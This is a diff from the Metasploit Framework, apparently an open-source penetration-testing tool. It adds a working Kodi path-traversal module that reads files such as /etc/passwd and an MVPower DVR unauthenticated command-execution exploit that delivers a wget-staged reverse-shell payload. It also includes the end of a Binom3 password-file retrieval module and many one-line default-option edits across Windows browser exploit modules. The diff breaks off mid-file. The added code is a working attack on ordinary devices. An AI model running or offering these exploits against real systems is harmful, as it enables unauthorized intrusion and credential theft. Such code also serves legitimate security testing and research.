+ vprint_status('++++++++++++++++++++++++++++++++++++++')
+
+ print_good("#{rhost}:#{rport} - Password file retrieved successfully!")
+ path = store_loot(
+ 'Binom3_passw',
+ 'text/xml',
+ rhost,
+ res.body,
+ rport,
+ 'Binom3 device config'
+ )
+ print_status("#{rhost}:#{rport} - Password file saved in: #{path}")
+ else
+ return
+ end
+ else
+ print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
+ end
+ end
+end
diff --git a/modules/auxiliary/scanner/http/kodi_traversal.rb b/modules/auxiliary/scanner/http/kodi_traversal.rb
new file mode 100644
index 0000000000..b3997770ca
--- /dev/null
+++ b/modules/auxiliary/scanner/http/kodi_traversal.rb
@@ -0,0 +1,84 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::Report
+ include Msf::Auxiliary::Scanner
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Kodi 17.0 Local File Inclusion Vulnerability',
+ 'Description' => %q{
+ This module exploits a directory traversal flaw found in Kodi before 17.1.
+ },
+ 'References' =>
+ [
+ ['CVE', '2017-5982'],
+ ],
+ 'Author' =>
+ [
+ 'Eric Flokstra', #Original
+ 'jvoisin'
+ ],
+ 'License' => MSF_LICENSE,
+ 'DisclosureDate' => "Feb 12 2017"
+ ))
+
+ register_options(
+ [
+ OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']),
+ OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']),
+ OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10])
+ ], self.class)
+ end
+
+
+ def run_host(ip)
+ base = normalize_uri(target_uri.path)
+
+ peer = "#{ip}:#{rport}"
+
+ print_status("Reading '#{datastore['FILE']}'")
+
+ traverse = '../' * datastore['DEPTH']
+ f = datastore['FILE']
+ f = f[1, f.length] if f =~ /^\//
+ f = "image/image://" + Rex::Text.uri_encode(traverse + f, "hex-all")
+
+ uri = normalize_uri(base, Rex::Text.uri_encode(f, "hex-all"))
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => uri
+ })
+
+ if res and res.code != 200
+ print_error("Unable to read '#{datastore['FILE']}', possibily because:")
+ print_error("\t1. File does not exist.")
+ print_error("\t2. No permission.")
+
+ elsif res and res.code == 200
+ data = res.body.lstrip
+ fname = datastore['FILE']
+ p = store_loot(
+ 'kodi',
+ 'application/octet-stream',
+ ip,
+ data,
+ fname
+ )
+
+ vprint_line(data)
+ print_good("#{fname} stored as '#{p}'")
+
+ else
+ print_error('Fail to obtain file for some unknown reason')
+ end
+ end
+
+end
diff --git a/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb
new file mode 100644
index 0000000000..44154f54df
--- /dev/null
+++ b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb
@@ -0,0 +1,97 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Exploit::CmdStager
+
+ HttpFingerprint = { :pattern => [ /JAWS\/1\.0/ ] }
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'MVPower DVR Shell Unauthenticated Command Execution',
+ 'Description' => %q{
+ This module exploits an unauthenticated remote command execution
+ vulnerability in MVPower digital video recorders. The 'shell' file
+ on the web interface executes arbitrary operating system commands in
+ the query string.
+
+ This module was tested successfully on a MVPower model TV-7104HE with
+ firmware version 1.8.4 115215B9 (Build 2014/11/17).
+
+ The TV-7108HE model is also reportedly affected, but untested.
+ },
+ 'Author' =>
+ [
+ 'Paul Davies (UHF-Satcom)', # Initial vulnerability discovery and PoC
+ 'Andrew Tierney (Pen Test Partners)', # Independent vulnerability discovery and PoC
+ 'Brendan Coles ' # Metasploit
+ ],
+ 'License' => MSF_LICENSE,
+ 'Platform' => 'linux',
+ 'References' =>
+ [
+ # Comment from Paul Davies contains probably the first published PoC
+ [ 'URL', 'https://labby.co.uk/cheap-dvr-teardown-and-pinout-mvpower-hi3520d_v1-95p/' ],
+ # Writeup with PoC by Andrew Tierney from Pen Test Partners
+ [ 'URL', 'https://www.pentestpartners.com/blog/pwning-cctv-cameras/' ]
+ ],
+ 'DisclosureDate' => 'Aug 23 2015',
+ 'Privileged' => true, # BusyBox
+ 'Arch' => ARCH_ARMLE,
+ 'DefaultOptions' =>
+ {
+ 'PAYLOAD' => 'linux/armle/mettle_reverse_tcp',
+ 'CMDSTAGER::FLAVOR' => 'wget'
+ },
+ 'Targets' =>
+ [
+ ['Automatic', {}]
+ ],
+ 'CmdStagerFlavor' => %w{ echo printf wget },
+ 'DefaultTarget' => 0))
+ end
+
+ def check
+ begin
+ fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6)
+ res = send_request_cgi(
+ 'uri' => "/shell?echo+#{fingerprint}",
+ 'headers' => { 'Connection' => 'Keep-Alive' }
+ )
+ if res && res.body.include?(fingerprint)
+ return CheckCode::Vulnerable
+ end
+ rescue ::Rex::ConnectionError
+ return CheckCode::Unknown
+ end
+ CheckCode::Safe
+ end
+
+ def execute_command(cmd, opts)
+ begin
+ send_request_cgi(
+ 'uri' => "/shell?#{Rex::Text.uri_encode(cmd, 'hex-all')}",
+ 'headers' => { 'Connection' => 'Keep-Alive' }
+ )
+ rescue ::Rex::ConnectionError
+ fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
+ end
+ end
+
+ def exploit
+ print_status("#{peer} - Connecting to target")
+
+ unless check == CheckCode::Vulnerable
+ fail_with(Failure::Unknown, "#{peer} - Target is not vulnerable")
+ end
+
+ print_good("#{peer} - Target is vulnerable!")
+
+ execute_cmdstager(linemax: 1500)
+ end
+end
diff --git a/modules/exploits/windows/browser/adobe_cooltype_sing.rb b/modules/exploits/windows/browser/adobe_cooltype_sing.rb
index 39112c8f94..ee0bd5ed76 100644
--- a/modules/exploits/windows/browser/adobe_cooltype_sing.rb
+++ b/modules/exploits/windows/browser/adobe_cooltype_sing.rb
@@ -38,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote
'EXITFUNC' => 'process',
'HTTP::compression' => 'gzip',
'HTTP::chunked' => true,
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/adobe_flash_avm2.rb b/modules/exploits/windows/browser/adobe_flash_avm2.rb
index 20550092a5..89371513f5 100644
--- a/modules/exploits/windows/browser/adobe_flash_avm2.rb
+++ b/modules/exploits/windows/browser/adobe_flash_avm2.rb
@@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
'Retries' => false
},
'Platform' => 'win',
diff --git a/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb b/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb
index 7d18fb3de6..4630fa186b 100644
--- a/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb
+++ b/modules/exploits/windows/browser/adobe_flash_filters_type_confusion.rb
@@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
'Retries' => false,
'EXITFUNC' => "thread"
},
diff --git a/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb b/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb
index 3e0b780952..4574cbf54b 100644
--- a/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb
+++ b/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb
@@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/adobe_flash_otf_font.rb b/modules/exploits/windows/browser/adobe_flash_otf_font.rb
index 4f831045aa..14e13e7d70 100644
--- a/modules/exploits/windows/browser/adobe_flash_otf_font.rb
+++ b/modules/exploits/windows/browser/adobe_flash_otf_font.rb
@@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/adobe_flash_regex_value.rb b/modules/exploits/windows/browser/adobe_flash_regex_value.rb
index 3d5fea3c40..d9586cbf27 100644
--- a/modules/exploits/windows/browser/adobe_flash_regex_value.rb
+++ b/modules/exploits/windows/browser/adobe_flash_regex_value.rb
@@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
'Retries' => false
},
'Platform' => 'win',
diff --git a/modules/exploits/windows/browser/adobe_flash_rtmp.rb b/modules/exploits/windows/browser/adobe_flash_rtmp.rb
index 84bc9cf971..37ea120c5a 100644
--- a/modules/exploits/windows/browser/adobe_flash_rtmp.rb
+++ b/modules/exploits/windows/browser/adobe_flash_rtmp.rb
@@ -59,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/adobe_flash_sps.rb b/modules/exploits/windows/browser/adobe_flash_sps.rb
index b2d3ce686c..d87f5ffc0e 100644
--- a/modules/exploits/windows/browser/adobe_flash_sps.rb
+++ b/modules/exploits/windows/browser/adobe_flash_sps.rb
@@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => "seh",
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb b/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb
index 3c0a8c62b0..b74acc6da8 100644
--- a/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb
+++ b/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb
@@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote
'EXITFUNC' => 'process',
'HTTP::compression' => 'gzip',
'HTTP::chunked' => true,
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/adobe_flashplayer_avm.rb b/modules/exploits/windows/browser/adobe_flashplayer_avm.rb
index b20663ea80..9f12cf5b73 100644
--- a/modules/exploits/windows/browser/adobe_flashplayer_avm.rb
+++ b/modules/exploits/windows/browser/adobe_flashplayer_avm.rb
@@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote
'EXITFUNC' => 'process',
'HTTP::compression' => 'gzip',
'HTTP::chunked' => true,
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb b/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb
index cab570badc..1df3b951d3 100644
--- a/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb
+++ b/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb
@@ -46,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => "process",
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb b/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb
index 325a1669b1..bbb6dc6312 100644
--- a/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb
+++ b/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb
@@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote
'EXITFUNC' => 'process',
'HTTP::compression' => 'gzip',
'HTTP::chunked' => true,
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb b/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb
index d27e4c3fdd..ff232b7c98 100644
--- a/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb
+++ b/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb
@@ -28,7 +28,7 @@ class MetasploitModule < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb b/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb
index 6e83a0298d..3c521b78fa 100644
--- a/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb
+++ b/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb
@@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'Retries' => false,
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'BrowserRequirements' =>
{
diff --git a/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb b/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb
index ab8329aab8..56e2aa86f0 100644
--- a/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb
+++ b/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb
@@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'BrowserRequirements' =>
diff --git a/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb b/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb
index 7432c5f21f..db438aa329 100644
--- a/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb
+++ b/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb
@@ -50,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/apple_quicktime_mime_type.rb b/modules/exploits/windows/browser/apple_quicktime_mime_type.rb
index da040e12fd..b9090e0eb1 100644
--- a/modules/exploits/windows/browser/apple_quicktime_mime_type.rb
+++ b/modules/exploits/windows/browser/apple_quicktime_mime_type.rb
@@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb
index c7f952df5b..c96a2f1133 100644
--- a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb
+++ b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb
@@ -53,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Privileged' => false,
'DisclosureDate' => "May 22 2013"
diff --git a/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb b/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb
index 0e8c2c5918..c3c7b99591 100644
--- a/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb
+++ b/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb
@@ -44,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb b/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb
index ec9ff0db78..fad9da943f 100644
--- a/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb
+++ b/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb
@@ -46,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb b/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb
index 19c103ab84..39ab4c48ff 100644
--- a/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb
+++ b/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb
@@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => "seh",
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/aventail_epi_activex.rb b/modules/exploits/windows/browser/aventail_epi_activex.rb
index 29a01fdafe..fb643ab937 100644
--- a/modules/exploits/windows/browser/aventail_epi_activex.rb
+++ b/modules/exploits/windows/browser/aventail_epi_activex.rb
@@ -49,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb b/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb
index f883eb72e4..9264fdf53f 100644
--- a/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb
+++ b/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb
@@ -50,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb b/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb
index 9936fc912d..5a80c34faf 100644
--- a/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb
+++ b/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb
@@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => "none",
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/cisco_playerpt_setsource.rb b/modules/exploits/windows/browser/cisco_playerpt_setsource.rb
index 5b35ecdef3..d24e3c83b8 100644
--- a/modules/exploits/windows/browser/cisco_playerpt_setsource.rb
+++ b/modules/exploits/windows/browser/cisco_playerpt_setsource.rb
@@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb b/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb
index 199c27944b..b993fccb3d 100644
--- a/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb
+++ b/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb
@@ -52,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/citrix_gateway_actx.rb b/modules/exploits/windows/browser/citrix_gateway_actx.rb
index 58182c0a10..cb68bd0b8a 100644
--- a/modules/exploits/windows/browser/citrix_gateway_actx.rb
+++ b/modules/exploits/windows/browser/citrix_gateway_actx.rb
@@ -38,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/clear_quest_cqole.rb b/modules/exploits/windows/browser/clear_quest_cqole.rb
index affe99692b..99619cbf7d 100644
--- a/modules/exploits/windows/browser/clear_quest_cqole.rb
+++ b/modules/exploits/windows/browser/clear_quest_cqole.rb
@@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/crystal_reports_printcontrol.rb b/modules/exploits/windows/browser/crystal_reports_printcontrol.rb
index 44636c8495..bb65ed47cb 100644
--- a/modules/exploits/windows/browser/crystal_reports_printcontrol.rb
+++ b/modules/exploits/windows/browser/crystal_reports_printcontrol.rb
@@ -58,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/dell_webcam_crazytalk.rb b/modules/exploits/windows/browser/dell_webcam_crazytalk.rb
index f70773b7a5..28eede199f 100644
--- a/modules/exploits/windows/browser/dell_webcam_crazytalk.rb
+++ b/modules/exploits/windows/browser/dell_webcam_crazytalk.rb
@@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => "seh",
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/enjoysapgui_comp_download.rb b/modules/exploits/windows/browser/enjoysapgui_comp_download.rb
index 0333976af5..084dd3a5f4 100644
--- a/modules/exploits/windows/browser/enjoysapgui_comp_download.rb
+++ b/modules/exploits/windows/browser/enjoysapgui_comp_download.rb
@@ -28,7 +28,7 @@ class MetasploitModule < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/firefox_smil_uaf.rb b/modules/exploits/windows/browser/firefox_smil_uaf.rb
index 3031bde126..9817cee35e 100644
--- a/modules/exploits/windows/browser/firefox_smil_uaf.rb
+++ b/modules/exploits/windows/browser/firefox_smil_uaf.rb
@@ -45,7 +45,7 @@ require 'msf/core'
'DefaultOptions' =>
{
'EXITFUNC' => "thread",
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'References' =>
[
diff --git a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb
index 5f083c52da..2ecf38c827 100644
--- a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb
+++ b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb
@@ -44,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => "process",
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb b/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb
index 34a7758163..ef7ce99038 100644
--- a/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb
+++ b/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb
@@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f -k'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb
index efa03912ab..bdf8a7c485 100644
--- a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb
+++ b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb
@@ -55,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb b/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb
index d6cbb5275a..f0bcacc5eb 100644
--- a/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb
+++ b/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb
@@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb b/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb
index 9cb5e338c4..d75ca8fa88 100644
--- a/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb
+++ b/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb
@@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote
],
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb b/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb
index 873b2b876d..ca2baf3818 100644
--- a/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb
+++ b/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb
@@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
- 'InitialAutoRunScript' => 'migrate -f',
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
diff --git a/modules/exploits/windows/browser/ibm_spss_c1sizer.rb b/modules/exploits/windows/browser/ibm_spss_c1sizer.rb
index 76261ed22b..b0c226aeaf 100644
--- a/modules/exploits/windows/browser/ibm_spss_c1sizer.rb
+++ b/modules/exploits/windows/browser/ibm_spss_c1sizer.rb
@@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb b/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb
index 1f261d420a..c67ae31f3e 100644
--- a/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb
+++ b/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb
@@ -58,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
- 'InitialAutoRunScript' => 'migrate -f'
+ 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
diff --git a/modules/exploits/windows/browser/ie_cbutton_uaf.rb b/modules/exploits/windows/browser/ie_cbutton_uaf.rb
index e002ede87f..97cfd3c741 100644
--- a/modules/exploits/windows/browser/ie_cbutton_uaf.rb
